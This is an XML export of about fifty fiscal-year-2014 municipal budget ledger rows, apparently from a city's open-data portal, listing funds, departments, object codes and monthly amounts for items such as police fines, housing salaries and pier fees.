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<row _id="9035"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>53</fund_id><fund_name>Parks and Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>402930.0</object><object_description>UNIT DWELLING TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-25000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-25000.0</total></row>
<row _id="9036"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>14</fund_id><fund_name>TORCA Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404060.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-31000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-31000.0</total></row>
<row _id="9037"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>410260.0</object><object_description>4TH COURT IMPROVEMENT CONTRIB</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-210000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-210000.0</total></row>
<row _id="9038"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>104.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>104.0</total></row>
<row _id="9039"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>37500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37500.0</total></row>
<row _id="9040"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>14</fund_id><fund_name>TORCA Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404178.0</object><object_description>RESIDUAL RECEIPTS-HOUSING</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-50000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-50000.0</total></row>
<row _id="9041"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579961.0</object><object_description>BBB-GEN FUND REIMBURSEMENT</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>446690.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>446690.0</total></row>
<row _id="9042"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1285.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1285.0</total></row>
<row _id="9043"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563161.0</object><object_description>FTA NEW FREEDOM GRANT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>112052.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>112052.0</total></row>
<row _id="9044"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>407690.0</object><object_description>TAXI DECAL FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="9045"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>405170.0</object><object_description>CAM FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-422264.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-422264.0</total></row>
<row _id="9046"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>555061.0</object><object_description>PROF SVCS - LUCE MONITORING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>325000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>325000.0</total></row>
<row _id="9047"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511711.0</object><object_description>MEDICARE-POLICE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="9048"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511741.0</object><object_description>MEDICAL - POLICE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>20421.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20421.0</total></row>
<row _id="9049"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>26500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26500.0</total></row>
<row _id="9050"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2988.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2988.0</total></row>
<row _id="9051"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>410070.0</object><object_description>OPEN SPACE CONTRIB</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-207857.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-207857.0</total></row>
<row _id="9052"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8938.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8938.0</total></row>
<row _id="9053"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>402380.0</object><object_description>SELF-INSURANCE, GEN LIAB/AUTO</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-3000000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3000000.0</total></row>
<row _id="9054"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522010.0</object><object_description>PAYMENT OF CLAIMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1550000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1550000.0</total></row>
<row _id="9055"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522040.0</object><object_description>INSURANCE AND BONDS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>900000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>900000.0</total></row>
<row _id="9056"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
<row _id="9057"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2094.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2094.0</total></row>
<row _id="9058"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="9059"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577720.0</object><object_description>CDBG REIMB-HUMAN SVC</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>59500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>59500.0</total></row>
<row _id="9060"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>400730.0</object><object_description>CA VEHICLE CODE FINES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2014</fiscal_year><july>-480000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-480000.0</total></row>
<row _id="9061"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>404000.0</object><object_description>STC PROGRAM</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-5600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5600.0</total></row>
<row _id="9062"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>22</fund_id><fund_name>COPS Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>400750.0</object><object_description>INT DEP/INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-2300.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2300.0</total></row>
<row _id="9063"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>22</fund_id><fund_name>COPS Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>405810.0</object><object_description>COPS - PER CAPITA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-255473.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-255473.0</total></row>
<row _id="9064"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>82535.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>82535.0</total></row>
<row _id="9065"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>36031.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>36031.0</total></row>
<row _id="9066"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>800.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>800.0</total></row>
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<row _id="9068"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="9069"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2700.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2700.0</total></row>
<row _id="9070"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3781.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3781.0</total></row>
<row _id="9071"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15727.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15727.0</total></row>
<row _id="9072"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1400.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1400.0</total></row>
<row _id="9073"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>566730.0</object><object_description>REC / PARKS COMMISSION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2783.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2783.0</total></row>
<row _id="9074"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>94201.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>94201.0</total></row>
<row _id="9075"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="9076"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="9077"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4494.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4494.0</total></row>
<row _id="9078"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3172.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3172.0</total></row>
<row _id="9079"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>443039.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>10156</december><january>-283.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>452912.0</total></row>
<row _id="9080"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>401440.0</object><object_description>POLICE BILLABLE SERVICES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-462836.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-462836.0</total></row>
<row _id="9081"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>405300.0</object><object_description>DUI RESPONSE-ACCIDENT/INJURY</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-27358.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-27358.0</total></row>
<row _id="9082"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>400230.0</object><object_description>CONDOMINIUM TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-20000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-20000.0</total></row>
